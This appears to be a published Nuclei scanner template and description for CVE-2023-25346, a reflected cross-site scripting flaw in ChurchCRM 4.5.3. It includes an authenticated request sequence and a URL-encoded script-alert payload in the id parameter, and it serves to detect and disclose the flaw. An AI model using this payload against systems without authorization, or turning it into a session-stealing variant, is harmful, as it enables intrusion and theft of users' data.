ChurchCRM 4.5.3 - Cross-Site Scripting

ID: CVE-2023-25346

Severity: medium

Author: Harsh

Tags: cve2023,cve,churchcrm,xss,authenticated

Description

A reflected cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the id parameter of /churchcrm/v2/family/not-found.

YAML Source

id: CVE-2023-25346

info:
  name: ChurchCRM 4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the id parameter of /churchcrm/v2/family/not-found.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-25346
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25346
    - https://github.com/ChurchCRM/CRM
    - https://github.com/10splayaSec/CVE-Disclosures
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-25346
    cwe-id: CWE-79
    epss-score: 0.00165
    epss-percentile: 0.5311
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,xss,authenticated

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        GET /v2/person/not-found?id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and
# digest: 4a0a00473045022063828189533ef44a31729b46d5ee6cc0018cc172cdadf09e32ab923812269827022100dcb4050b1a1881a61b32d5a9f07a3e6ec3efb4b47c0ad6a092335ee8b77c8cc3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-25346.yaml"

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